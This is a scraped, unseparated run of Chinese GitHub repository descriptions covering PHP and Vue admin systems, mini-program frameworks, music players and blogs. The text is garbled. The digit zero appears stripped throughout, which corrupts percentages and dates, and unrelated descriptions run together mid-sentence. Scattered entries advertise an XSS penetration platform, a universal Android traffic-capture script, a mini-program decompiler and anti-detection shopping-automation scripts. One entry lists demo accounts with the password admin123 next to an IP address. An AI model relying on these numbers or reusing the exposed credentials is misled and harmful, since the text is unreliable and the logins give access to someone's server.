低权限运行的EDR系统 项目管理系统后端接口ThinkPHP 队列支持Typecho Theme Aria 书写自己的篇章PHP 中文工具包 支持汉字转拼音 拼音分词 简繁互转 数字 金额大写 QQ群 17916227Yii2 community 请访问淘客5合一SDK 支持淘宝联盟 京东联盟 多多进宝 唯品会 苏宁基于 thinkphp 开发的的 blogMojito Admin 基于 Laravel Vue Element 构建的后台管理系统一个经典的XSS渗透管理平台一款基于 RageFrame2 的免费开源的基础销售功能的商城基于Laravel 5 4 的开发的博客系统 代号 myPersimmon证件照片排版在线生成器 在一张6寸的照片上排版多张证件照清华大学计算机学科推荐学术会议和期刊列表WordPress响应式免费主题 Art Blog唯品秀博客 weipxiu com 备用域名weipxiu cn 开源给小伙伴免费使用 如使用过程有任何问题 在线技术支持QQ 欢迎打扰 原创不易 如喜欢 请多多打赏 演示 EwoMail是基于Linux的企业邮箱服务器 集成了众多优秀稳定的组件 是一个快速部署 简单高效 多语言 安全稳定的邮件解决方案 笔记本新版简单强大的无数据库的图床2 版 演示地址 Bilibili B 站自动领瓜子 直播助手 直播挂机脚本 主站助手 PHP 版微信群二维码活码工具 生成微信群活码 随时可以切换二维码 短视频的PHP拓展包 集成各大短视频的去水印功能 抖音 快手 微视主流短视频 PHP去水印一个PHPer的升级之路酷瓜云课堂 在线教育 网课系统 网校系统 知识付费系统 不加密不阉割 1 %全功能开源 可免费商用 框架主要使用ThinkPHP6 layui 拥有完善的权限的管理模块以及敏捷的开发方式 让你开发起来更加的舒服 laravel5 5搭建的后台管理 和 api服务 的小程序商城基于ThinkPHP5 AdminLTE的后台管理系统魔改版本 为 OLAINDEX 添加多网盘挂载及一些小修复海豚PHP 基于ThinkPHP5 1 41LTS的快速开发框架挂载Teambition文件 可直链分享 支持网盘 需申请 和项目文件 无需邀请码 准确率99 9%的ip地址定位库laravel ant design vue 权限后台PHP 第三方登录授权 SDK 集成了QQ 微信 微博 Github等常用接口 支持 php fpm 和 Swoole 所有框架通用 QQ群 17916227抖音去水印PHP版接口一个分布式统计监控系统 包含PHP客户端 服务端整合多接口的IP查询工具 基于阿里云OSS的WordPress远程附件支持插件 后会有期 开箱即用的Laravel后台扩展 前后端分离 后端控制前端组件 无需编写vue即可创建一个的项目 丰富的表单 表格组件 强大的自定义组件功能 yii2 swoole 让yii2运行在swoole上胖鼠采集 WordPress优秀开源采集插件CatchAdmin是一款基于thinkphp6 和 element admin 开发的后台管理系统 基于 ServiceProvider 系统模块完全接耦 随时卸载安装模块 提供了完整的权限和数据权限等功能 大量内置的开发工具提升你的开发体验 官网地址 微信公众平台php版开发包微信小程序 校园小情书后台源码 好玩的表白墙 告白墙 功能全面的PHP命令行应用库 提供控制台参数解析 命令运行 颜色风格输出 用户信息交互 特殊格式信息显示基于 chinese poetry 数据整理的一份 mysql 格式数据帮助 thinkphp 5 开发者快速 轻松的构建Api hyperf admin 是基于 hyperf vue 的配置化后台开发工具 微信支付php 写的视频下载工具 现已支持 Youku Miaopai 腾讯 XVideos Pornhub 91porn 微博酷燃 bilibili 今日头条 芒果TVCorePress 主题 一款高性能 高颜值的WordPress主题快链电商 直播电商 分销商城 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 Laravel vue开发 成熟商用项目 shop mall 商城 电商 利用 PHP cURL 转发 Disqus API 请求可能是最优雅 简易的淘宝客SDKUniAdmin是一套渐进式模块化开源后台 采用前后端分离技术 数据交互采用json格式 功能低耦合高内聚 核心模块支持系统设置 权限管理 用户管理 菜单管理 API管理等功能 后期上线模块商城将打造类似composer npm的开放式插件市场 同时我们将打造一套兼容性的API标准 从ThinkPHP5 1 Vue2开始 逐步吸引爱好者共同加入 以覆盖等多语言框架 PHP 多接口获取快递物流信息包LightCMS 是一个基于 Laravel 开发的轻量级 CMS 系统 也可以作为一个通用的后台管理框架使用单点登录系统快乐二级域名分发系统Typecho Theme Story 爱上你我的故事 一个轻量化的留言板 记事本 社交系统 博客 人类的本质是 咕咕咕?微信域名拦截检测 QQ域名拦截检测 t xzkxb com 查询有缓存 如需实时查询请自行部署 高性能分布式并发锁 行为限流Emlog是一款基于PHP和MySQL的功能强大的博客及CMS建站系统 追求快速 稳定 简单 舒适的建站体验Hyperf admin 基于Hyperf Element UI 通用管理后台企业仓库管理系统HisiPHP V2版是基于ThinkPHP5 1和Layui开发的后台框架 承诺永久免费开源 您可用于学习和商用 但须保留版权信息正常显示 如果HisiPHP对您有帮助 您可以点击右上角 Star 支持一下哦 谢谢 使用PHP开发的简约导航 书签管理系统 软擎是基于 Php 7 2 和 Swoole 4 4 的高性能 简单易用的开发框架 支持同时在 Swoole Server 和 php fpm 两种模式下运行 内置了服务 集成了大量成熟的组件 可以用于构建高性能的Web系统 API 中间件 基础服务等等 个人发卡源码 发卡系统 二次元发卡系统 二次元发卡源码 发卡程序 动漫发卡 PHP发卡源码聊天应用 php实现的dht爬虫搭建的webim客服系统 即时通讯一些实用的python脚本同城拼车微信小程序后端代码 一个响应式干净和简洁优雅的 Typecho 主题php仓库进销存深度学习5 问 以问答形式对常用的概率知识 线性代数 机器学习 深度学习 计算机视觉等热点问题进行阐述 以帮助自己及有需要的读者 全书分为18个章节 5 余万字 由于水平有限 书中不妥之处恳请广大读者批评指正 未完待续 如有意合作 联系scutjy2 15 163 com 版权所有 违权必究 Tan 2 18 6题解 记录自己的leetcode解题之路 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 YApi 是一个可本地部署的 打通前后端及QA的 可视化的接口管理平台小程序组件化开发框架网易云音乐 Node js API service基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 book Node js 包教不包会 by alsotang收集所有区块链 BlockChain 技术开发相关资料 包括Fabric和Ethereum开发资料轻量 可靠的小程序 UI 组件库微信小程序商城 微信小程序微店一个可以观看国内主流视频平台所有视频的客户端可伸缩布局方案基于 node js Mongodb 构建的后台系统 js 源码解析磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 Web接口管理工具 开源免费 接口自动化 MOCK数据自动生成 自动化测试 企业级管理 阿里妈妈MUX团队出品 阿里巴巴都在用 1 公司的选择 RAP2已发布请移步至github com thx rap2 delosKuboard 是基于 Kubernetes 的微服务管理界面 同时提供 Kubernetes 免费中文教程 入门教程 最新版本的 Kubernetes v1 2 安装手册 k8s install 在线答疑 持续更新 ApacheCN 数据结构与算法译文集 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 高颜值的第三方网易云播放器 支持 Windows macOS Linux vue2 vue router vuex 入门项目网易云音乐第三方 Flutter实战 电子书 一套代码运行多端 一端所见即多端所见 计算机速成课 Crash Course 字幕组 全4 集 2 18 5 1 精校完成 一个 react redux 的完整项目 和 个人总结中文独立博客列表CSS Inspiration 在这里找到写 CSS 的灵感 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn Chrome插件开发全攻略 配套完整Demo 欢迎clone体验微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 master分支 渲染器 微信小程序组件 API 云开发示例简悦 SimpRead 让你瞬间进入沉浸式阅读的扩展让H5制作像搭积木一样简单 轻松搭建H5页面 H5网站 PC端网站 LowCode平台 一套组件化 可复用 易扩展的微信小程序 UI 组件库这是一个数据可视化项目 能够将历史数据排名转化为动态柱状图图表微信小程序图表charts组件 Charts for WeChat small app类似易企秀的H5制作 建站工具 可视化搭建系统 一个在你编程时疯狂称赞你的 VSCode 扩展插件全家桶后台管理框架解锁网易云音乐客户端变灰歌曲美观易用的React富文本编辑器 基于draft js开发一个致力于微信小程序和 Web 端同构的解决方案從零開始學 ReactJS ReactJS 1 1 是一本希望讓初學者一看就懂的 React 中文入門教學書 由淺入深學習 ReactJS 生態系源码解读 系列文章 完 我就是来分享脚本玩玩的开发者边车 github打不开 github加速 git clone加速 git release下载加速 stackoverflow加速vue源码逐行注释分析 4 多m的vue源码程序流程图思维导图 diff部分待后续更新 微信小程序解决方案 1KB javascript 覆盖状态管理 跨页通讯 插件开发和云数据库开发给老司机用的一个番号推荐系统 FeHelper Web前端助手记录成长的过程哔哩哔哩 bilibili com 辅助工具 可以替换播放器 推送通知并进行一些快捷操作提供了百度坐标 BD 9 国测局坐标 火星坐标 GCJ 2 和WGS84坐标系之间的转换F2etest是一个面向前端 测试 产品等岗位的多浏览器兼容性测试整体解决方案 ️ 阿里飞猪 很易用的中后台 表单 表格 图表 解决方案CRMEB Min 前后端分离版自带客服系统 是CRMEB品牌全新推出的一款轻量级 高性能 前后端分离的开源电商系统 完善的后台权限管理 会员管理 订单管理 产品管理 客服管理 CMS管理 多端管理 页面DIY 数据统计 系统配置 组合数据管理 日志管理 数据库管理 一键开通短信 产品采集 物流查询等接口 React技术揭秘 一本自顶向下的React源码分析书微信小程序 基于wepy 商城 微店 微信小程序 欢迎学习交流大屏数据可视化Pytorch 中文文档经典的网页对话框组件 强大的动态表单生成器 简洁 易用 灵活的微信小程序组件库 一款 Material Design 风格的 Hexo 主题签到一个帮助你自动申请京东价格保护的chrome拓展后台admin前端模板 基于 layui 编写的最简洁 易用的后台框架模板 只需提供一个接口就直接初始化整个框架 无需复杂操作 小程序生成图片库 轻松通过 json 方式绘制一张可以发到朋友圈的图片安卓应用层抓包通杀脚本一个轻量的工具集合婚礼大屏互动 微信请柬一站式解决方案mili 是一个开源的社区系统 界面优雅 功能丰富 丝般顺滑的触摸运动方案做最好的接口管理平台Mpx 一款具有优秀开发体验和深度性能优化的增强型跨端小程序框架省市区县乡镇三级或四级城市数据 带拼音标注 坐标 行政区域边界范围 2 21年 7月 3日最新采集 提供csv格式文件 支持在线转成多级联动js代码 通用json格式 提供软件转成shp geojson sql 导入数据库 带浏览器里面运行的js采集源码 综合了中华人民共和国民政部 国家统计局 高德地图 腾讯地图行政区划数据在vscode中用于生成文件头部注释和函数注释的插件 经过多版迭代后 插件 支持所有主流语言 功能强大 灵活方便 文档齐全 食用简单 觉得插件不错的话 点击右上角给个Star ️呀 JAVClub 让你的大姐姐不再走丢️你想要的最全 Android 进阶路线知识图谱 干货资料收集 开发者推荐阅读的书籍 2 2 淘宝 京东 支付宝双十一 双11全民养猫 全民营业自动化脚本 全额奖励 防检测 一款高性能敏感词 非法词 脏字 检测过滤组件 附带繁体简体互换 支持全角半角互换 汉字转拼音 模糊搜索等功能 前端博客 关注基础知识和性能优化 vue cli4配置vue config js持续更新PT 助手 Plus 为 Google Chrome 和 Firefox 浏览器插件 Web Extensions 主要用于辅助下载 PT 站的种子 基于vue2 koa2的 H5制作工具 让不会写代码的人也能轻松快速上手制作H5页面 类似易企秀 百度H5等H5制作 建站工具最全最新中国省 市 地区json及sql数据首个 Taro 多端统一实例 网易严选 小程序 H5 React Native By 趣店 FED地理信息可视化库企业级 Node js 应用性能监控与线上故障定位解决方案 Node js区块链开发 注 新版代码已开源 请star支持哦 基于Auto js的蚂蚁森林能量自动收取脚本 结巴 中文分词的Node js版本 译 面向机器学习的特征工程webfunny是一款轻量级的前端监控系统 webfunny也是一款前端性能监控系统 无埋点监控前端日志 实时分析前端健康状态一个实现汉字与拼音互转的小巧web工具库 演示地址 前端进阶 优质博文 一个 Chrome 插件 将 Google CDN 替换为国内的 Vue ElementUI构建的CMS开发框架超完整的React Native项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 配套文章 适合全面学习 对比参考 开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款Flutter版本 https github com CarGu 群 宇宙最强的前端面试指南 lucifer ren fe interview 微慕小程序开源版 WordPress版微信小程序函数式编程指北中文版Node js面试题 侧重后端应用与对Node核心的理解jQuery源码解析小白入坑vue三部曲 关于 vue 在工作的使用问题总结 请看博客 sunseekers github io 一直保持更新基于 Vue 的 PWA 解决方案 帮助开发者快速搭建 PWA 应用 解决接入 PWA 的各种问题ThinkCMF是一款支持Swoole的开源内容管理框架 基于ThinkPHP开发 同时支持PHP FPM和Swoole双模式 让WEB开发更快 微信小程序图片裁剪工具前端知识月刊Next Terminal是一个轻量级堡垒机系统 易安装 易使用 支持RDP SSH VNC Telnet Kubernetes协议 微信小程序 日历组件 基于 ueditor的更现代化的富文本编辑器 支持HTTPS基于JavaScript React Vue2的流程图组件 采用Spring MyBatis Shiro框架 开发的一套权限系统 极低门槛 拿来即用 设计之初 就非常注重安全性 为企业系统保驾护航 让一切都变得如此简单 QQ群 32478 2 4 145799952 一个前端的博客 春松客服 多渠道智能客服系统 开源客服系统 机器人客服一个工作流平台小程序 小游戏以及 Web 通用 Canvas 渲染引擎 在线工具秘籍 为在线工具写一本优质说明书 让在线工具造福人类 前端内参 有关于JavaScript 编程范式 设计模式 软件开发的艺术等大前端范畴内的知识分享 旨在帮助前端工程师们夯实技术基础以通过一线互联网企业技术面试 ️ vCards 中国黄页 优化 iOS Android 来电 信息界面体验各平台的分流规则 复写规则及自动化脚本 基于vue2 的实时聊天项目 图片剪裁上传组件 等笔记快速分享 GoogleDrive OneDrive 每日时报 以前端技术体系为主要分享课题 根据 文章 工具 新闻 视频几大板块作为主要分类 一款高效 高性能的帧动画生成工具 停止维护 一个在线音乐播放器 仅 UI 无功能 小程序富文本组件 支持渲染和编辑 html 支持在微信 QQ 百度 支付宝 头条和 uni app 平台使用基于 electron vue 开发的音乐播放器 界面模仿QQ音乐 技术栈欢迎starweui 是在weui和zepto基础上开发的增强UI组件 目前分为表单 基础 组件 js插件四大类 共计百余项功能 是最全的weui样式同步和更新大佬脚本库 更新懒人配置腾讯云即时通信 IM 服务 国内下载镜像 基于 Vue 的小程序开发框架React 16 8打造精美音乐WebAppWK系列开发框架 V1至V5 Java开源企业级开发框架 单应用 微服务 分布式 ️中国 省市区 三级联动 地址选择器 微信小程序2d动画库 分布式 Redis缓存 Shiro权限管理 Spring Session单点登录 Quartz分布式集群调度 Restful服务 QQ 微信登录 App token登录 微信 支付宝支付 日期转换 数据类型转换 序列化 汉字转拼音 身份证号码验证 数字转人民币 发送短信 发送邮件 加密解密 图片处理 excel导入导出 FTP SFTP fastDFS上传下载 二维码 XML读写 高精度计算 系统配置工具类等等 EduSoho 网络课堂是由杭州阔知网络科技有限公司研发的开源网校系统 EduSoho 包含了在线教学 招生和管理等完整功能 让教育机构可以零门槛建立网校 成功转型在线教育 EduSoho 也可作为企业内训平台 帮助企业实现人才培养 自用的一些乱七八糟 油猴脚本 为刚刚学习php语言以及web网站开发整理的一套资源 有视频 实战代码 学习路径等 会持续更新 This is a goindex theme 一个goindex的扩展主题 NumPy官方中文文档 完整版 搭建移动端开发 基于适配方案 axios封装 构建手机端模板脚手架 后台管理 脚手架接口 从简单开始 PhalApi简称π框架 一个轻量级PHP开源接口框架 专注于接口服务开发 前端特效存档Chrome浏览器 抢购 秒杀插件 秒杀助手 定时自动点击云存储管理客户端 支持七牛云 腾讯云 青云 阿里云 又拍云 亚马逊S3 京东云 仿文件夹管理 图片预览 拖拽上传 文件夹上传 同步 批量导出URL等功能font carrier是一个功能强大的字体操作库 使用它你可以随心所欲的操作字体 让你可以在svg的维度改造字体的展现形状 CRN是Ctrip React Native简称 由携程无线平台研发团队基于React Native框架优化 定制成稳定性和性能更佳 也更适合业务场景的跨平台开发框架 油猴脚本页面浮窗广告完全过滤净化 国服最强最全最新CSDN脚本微信小程序即时通讯模板 使用WebSocket通信小程序反编译 支持分包 “想学吗”个人知识管理与自媒体营销工具 超多经典 Canvas 实例 动态离子背景 炫彩小球 贪吃蛇 坦克大战 是男人就下1 层 心形文字等 Vue UEditor v model双向绑定 HQChart H5 微信小程序 沪深 港股 数字货币 期货 美股 K线图 kline 走势图 缩放 拖拽 十字光标 画图工具 截图 筹码图 分析家语法 通达信语法 麦语法 第3方数据替换接口基于koa2的标准前后端分离框架 一款企业信息化开发基础平台 拟集成OA 办公自动化 CMS 内容管理系统 等企业系统的通用业务功能 JeePlatform项目是一款以SpringBoot为核心框架 集ORM框架Mybatis Web层框架SpringMVC和多种开源组件框架而成的一款通用基础平台 代码已经捐赠给开源中国社区基于inception的自动化SQL操作平台 支持SQL执行 LDAP认证 发邮件 OSC SQL查询 SQL优化建议 权限管理等功能 支持docker镜像是一款专门面向个人 团队和小型组织的私有网盘系统 轻量 开源 完善 无论是在家庭 学校还是在办公室 您都能立刻开始使用它 了解更多请访问官方网站 Node js API 中文文档dubbo服务管理以及监控系统拯救B站的弹幕体验 对抗假消息系列项目之一 截屏 实锤?相信你就输了 ”突破性“更新 支持修改任何网站 ️一个简洁 优雅且高效的 Hugo 主题Vue js 示例项目 简易留言板 本项目拥有完善的文档说明与注释 让您快速上手 Vue js 开发? Vue Validator? Vuex?最佳实践基于 Node js Koa2 实战开发的一套完整的博客项目网站 用 React 编写的基于Taro Dva构建的适配不同端 微信 百度 支付宝小程序 H5 React Native 等 的时装衣橱信息泄漏监控系统 伪装115浏览器干爆前端 一网打尽前端面试 学习路径 优秀好文等各类内容 帮助大家一年内拿到期望的 offer 前端性能监控系统 消息队列 高可用 集群等相关架构SpringBoot v2项目是努力打造springboot框架的极致细腻的脚手架 包括一套漂亮的前台 无其他杂七杂八的功能 原生纯净 中文文本标注工具 最全最新中国 省 市 区县 乡镇街道 json csv sql数据 一款轻巧的渐进式微信小程序框架 全网 1 w 阅读量的进阶前端技术博客仓库 Vue 源码解析 React 深度实践 TypeScript 进阶艺术 工程化 性能优化实践 完整开源 Java快速开发平台 基于Spring SpringMVC Mybatis架构 MStore提供更多好用的插件与模板 文章 商城 微信 论坛 会员 评论 支付 积分 工作流 任务调度等 同时提供上百套免费模板任意选择 价值源自分享 铭飞系统不仅一套简单好用的开源系统 更是一整套优质的开源生态内容体系 铭飞的使命就是降低开发成本提高开发效率 提供全方位的企业级开发解决方案 每月28定期更新版本WeHalo 简约风 的微信小程序版博客 基于 vue2 vuex 构建一个具有 45 个页面的大型单页面应用基于Vue3 Element Plus 的后台管理系统解决方案基于 vue element ui 的后台管理系统鲜亮的高饱和色彩 专注视觉的小程序组件库 ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 UI表单设计及代码生成器基于Vue的可视化表单设计器 让表单开发简单而高效 基于vue的高扩展在线网页制作平台 可自定义组件 可添加脚本 可数据统计 vue后台管理框架 精致的下拉刷新和上拉加载 js框架 支持vue 完美运行于移动端和主流PC浏览器 基于vue2 vuex element ui后台管理系统 Vue js高仿饿了么外卖App课程源码 coding imooc com class 74 html京东风格移动端 Vue2 Vue3 组件库eladmin前端源码 项目基于的前后端分离后台管理系统 权限控制采用 RBAC 菜单动态路由资源采集站在线播放uView UI 是uni app生态最优秀的UI框架 全面的组件和便捷的工具会让您信手拈来 如鱼得水Vue2 全家桶仿 微信App 项目 支持多人在线聊天和机器人聊天前端vue 后端koa 全栈式开发bilibili首页 A magical vue admin 记得star互联网大厂内推及大厂面经整理 并且每天一道面试题推送 每天五分钟 半年大厂中 Vue3 全家桶 Vant 搭建大型单页面商城项目 新蜂商城 Vue3 版本 技术栈为基于Vue开发的XMall商城前台页面 PC端 Vue全家桶 Vant 搭建大型单页面电商项目 ddbuy 7 orange cn前后端分离权限管理系统 精力有限 停止维护 用 Vue js 开发的跨三端应用Prototyping Tool For Vue Devs 适用于Vue的原型工具实战商城 基于Vue2 高仿微信App的单页应用electron跨平台音乐播放器 可搜网易云 QQ音乐 虾米音乐 支持QQ 微博 Github登录 云歌单 支持一键导入音乐平台歌单ThorUI组件库 轻量 简洁的移动端组件库 组件文档地址 thorui cn doc 最近更新时间 2 21 5 28uni app框架演示示例 Electron Vue 仿网易云音乐windows客户端 基于 Vue2 Vue CLI3 的高仿网易云 mac 客户端播放器 PC Online Music PlayerGitHub 泄露监控系统pear 梨子 轻量级的在线项目 任务协作系统 远程办公协作自选基金助手是一款Chrome扩展 用来快速获取关注基金的实时数据 查看自选基金的实时估值情况支持 markdown 渲染的博客前台展示Vue 音乐搜索 播放 Demo 一个基于 vue2 vue3 的 大转盘 九宫格 抽奖插件奖品 文字 图片 颜色 按钮均可配置 支持同步 异步抽奖 概率前 后端可控 自动根据 dpr 调整清晰度适配移动端 基于 Vue 的在线音乐播放器 PC Online music player美团饿了吗外卖红包外卖优惠券 先领红包再下单 外卖红包优惠券 cps分成 别人领红包下单 你拿佣金 讨论如何构建一套可靠的大型分布式系统用 vue 写小程序 基于 mpvue 框架重写 weui 基于Vue框架构建的github数据可视化平台使用GitHub API 搭建一个可动态发布文章的博客可视化拖拽组件库 DEMO基于开源组件 Inception SQLAdvisor SOAR 的SQL审核 SQL优化的Web平台显示当前网站的所有可用Tampermonkey脚本 专注Web与算法无缝滚动component精通以太坊 中文版 网页模拟桌面基于的多模块前后端分离的博客项目网易云音乐 QQ音乐 咪咕音乐 第三方 web端 可播放 vip 下架歌曲 基于权限管理的后台管理系统基于 Node js 的开源个人博客系统 采用 Nuxt Vue TypeScript 技术栈 一款简洁高效的VuePress知识管理 博客 blog 主题基于uni app的ui框架基于Vue Vuex iView的电子商城网站 Vue2 全家桶 Vant 搭建大型单页面商城项目 新蜂商城前后端分离版本 前端Vue项目源码酷狗 ️ 极客猿梦导航 独立开发者的导航站 Vue SpringBoot MyBatis 音乐网站基于 RageFrame2 的一款免费开源的基础商城销售功能的开源微商城 基于vue2 的网易云音乐播放器 api来自于NeteaseCloudMusicApi v2 为最新版本编写的一套后台管理系统全栈开发王者荣耀手机端官网和管理后台基于 Vue3 x TypeScript 的在线演示文稿应用 实现PPT幻灯片的在线编辑 演示 基于vue2 生态的后台管理系统模板开发的后台管理系统 Vchat 从头到脚 撸一个社交聊天系统 vue node mongodb h5编辑器类似maka 易企秀 账号 密码 admin996 公司展示 讨论Vue Spring boot前后端分离项目 wh web wh server的升级版 基于element ui的数据驱动表单组件基于 GitHub API 开发的图床神器 图片外链使用 jsDelivr 进行 CDN 加速 免下载 免安装 打开网站即可直接使用 免费 稳定 高效 ️ Vue初 中级项目 CnodeJS社区重构预览 DEMO 基于vue2全家桶实现的 仿移动端QQ基于Vue Echarts 构建的数据可视化平台 酷炫大屏展示模板和组件库 持续更新各行各业实用模板和炫酷小组件 基于Spring Boot的在线考试系统 预览地址 129 211 88 191 账户分别是admin teacher student 密码是admin123 6pan 6盘小白羊 第二版 vue3 antd typescript on bone and knife 基于Vue 全家桶 2 x 制作的美团外卖APP 本项目是一款基于 Avue 的表单设计器 拖拽式操作让你快速构建一个表单 一刻社区前端源码基于Vue iView Admin开发的XBoot前后端分离开放平台前端 权限可控制至按钮显示 动态路由权限菜单 多语言 简洁美观 前后端分离 ️一个开源的社区程序 临时测试站 https t myrpg cnecharts地图geoJson行政边界数据的实时获取与应用 省市区县多级联动下钻 真正意义的下钻至县级 附最新geoJson文件下载 Vue的Nuxt js服务端渲染框架 NodeJS为后端的全栈项目 Docker一键部署 面向小白的完美博客系统vue瀑布流组件 vue waterfall easy 2 x Ego 移动端购物商城 vue vuex ruoter webpack Vue js Node js Mongodb 前后端分离的个人博客头像加口罩小程序 基于uniapp使用vue快速实现 广告月收入4k 基于vue3 的管理端模板教你如何打造舒适 高效 时尚的前端开发环境基于 Flask 和 Vue js 前后端分离的微型博客项目 支持多用户 Markdown文章 喜欢 收藏文章 粉丝关注 用户评论 点赞 动态通知 站内私信 黑名单 邮件支持 管理后台 权限管理 RQ任务队列 Elasticsearch全文搜索 Linux VPS部署 Docker容器部署等基于 vue 和 heyui 组件库的中后端系统 admin heyui topVue 轻量级后台管理系统基础模板uni app项目插件功能集合We川大小程序 scuplus 使用wepy开发的完善的校园综合小程序 4 页面 前后端开源 包括成绩 课表 失物招领 图书馆 新闻资讯等等常见校园场景功能一个全随机的刷装备小游戏一个vue全家桶入门Demo 是一個可以幫助您 Vue js 的項目測試及偵錯的工具 也同時支持 Vuex及 Vue Router 微信公众号管理系统 包含公众号菜单管理 自动回复 素材管理 模板消息 粉丝管理 ️等功能 前后端都开源免费 基于vue 的管理后台 配合Blog Core与Blog Vue等多个项目使用海风小店 开源商城 微信小程序商城管理后台 后台管理 VUE IT之家第三方小程序版客户端 使用 mpvue 开发 兼容 web vue 可以拖拽排序的树形表格 现代 Web 开发语法基础与工程实践 涵盖 Web 开发基础 前端工程化 应用架构 性能与体验优化 混合开发 React 实践 Vue 实践 WebAssembly 等多方面 数据大屏可视化编辑器一个适用于摄影从业者 爱好者 设计师等创意行业从业者的图像工具箱 武汉大学图书馆助手 桌面端基于form generator 仿钉钉审批流程创建 表单创建 流程节点可视化配置 必填条件及校验 一个完整electron桌面记账程序 技术栈主要使用electron vue vuetify 开机自动启动 自动更新 托盘最小化 闪烁等常用功能 Nsis制作漂亮的安装包 程序猿的婚礼邀请函 一个基于vue和element ui的树形穿梭框及邮件通讯录版本见示例见 基于Gin Vue Element UI的前后端分离权限管理系统的前端模块通用书籍阅读APP BookChat 的 uni app 实现版本 支持多端分发 编译生成Android和iOS 手机APP以及各平台的小程序基于Vue3的Material design风格移动端组件库进阶资深前端开发在线考试系统 springboot vue前后端分离的一个项目 ️ 无后端的仿 YouTube Live Chat 风格的简易 Bilibili 弹幕姬vue后端管理系统界面 基于ui组件iviewBilibili直播弹幕库 for Mac Windows LinuxVue高仿网易云音乐 基本实现网易云所有音乐 MV相关功能 现已更新到第二版 仅用于学习 下面有详细教程 武汉大学图书馆助手 移动端Zeus基于Golang Gin casbin 致力于做企业统一权限 账号中心管理系统 包含账号管理 数据权限 功能权限 应用管理 多数据库适配 可docker 一键运行 社区活跃 版本迭代快 加群免费技术支持 Vue高仿网易云音乐 Vue入门实践 在线预览 暂时停止基于 Vue 和 ElementUI 构建的一个企业级后台管理系统 ️ 跨平台移动端视频资源播放器 简洁免费 ZY Player 移动端 APP 基于 Uni app 开发 Vue实战项目基于参考小米商城 实现的电商项目 h5制作 移动端专题活动页面可视化编辑仿钉钉审批流程设置动态表单页面设计 自动生成页面微前端项目实战vue项目 基于vue3 qiankun2 进阶版 github com wl ui wl mfe基于 d2 admin的RBAC权限管理解决方案VueNode 是一套基于的前后端分离项目 基于仿京东淘宝的 移动端H5电商平台 巨树 基于ztree封装的Vue树形组件 轻松实现海量数据的高性能渲染 微信红包封面领取 用户观看视频广告或者邀请用户可获取微信红包序列号基于 Vue 的可视化布局编辑器插件kbone ui 是一套能同时支持 小程序 kbone 和 vue 框架开发的多端 UI 库 PS 新版 kbone ui 已出炉并迁移到 kbone 主仓库 此仓库仅做旧版维护之用 一个vue的个人博客项目 配合 net core api教程 打造前后端分离Tumo Blog For Vue js 前后端分离bpmn js流程设计器组件 基于vue elementui美化属性面板 满足9 %以上的业务需求专门为 Weex 前端开发者打造的一套高质量UI框架 想用vue把我现在的个人网站重新写一下 新的风格 新的技术 什么都是新的 本项目是一个在线聊天系统 最大程度的还原了Mac客户端QQ vue cli3 后台管理模板 heart 基于vue2和vuex的复杂单页面应用 2 页面53个API 仿实验楼 基于 Vue Koa 的 WebDesktop 视窗系统 Jeebase是一款前后端分离的开源开发框架 基于开发 一套SpringBoot后台 两套前端页面 可以自由选择基于ElementUI或者AntDesign的前端界面 二期会整合react前端框架 Ant Design React 在实际应用中已经使用这套框架开发了CMS网站系统 社区论坛系统 微信小程序 微信服务号等 后面会逐步整理开源 本项目主要目的在于整合主流技术框架 寻找应用最佳项目实践方案 实现可直接使用的快速开发框架 使用 vue cli3 搭建的vue vuex router element 开发模版 集成常用组件 功能模块JEECG BOOT APP 移动解决方案 采用uniapp框架 一份代码多终端适配 同时支持APP 小程序 H5 实现了与JeecgBoot平台完美对接的移动解决方案 目前已经实现登录 用户信息 通讯录 公告 移动首页 九宫格等基础功能 明日方舟工具箱 支持中台美日韩服vue的验证码插件这里有一些标准组件库可能没有的功能组件 已有组件 放大镜 签到 图片标签 滑动验证 倒计时 水印 